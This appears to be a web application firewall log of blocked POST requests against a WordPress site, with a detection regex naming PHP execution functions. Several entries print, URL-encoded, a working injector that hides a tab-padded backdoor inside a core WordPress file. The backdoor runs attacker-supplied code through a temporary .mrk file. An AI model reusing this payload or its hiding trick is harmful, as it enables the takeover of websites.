%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:56:13","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5035\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nTF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:56:28","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5035\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nLJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:56:38","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:5035\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 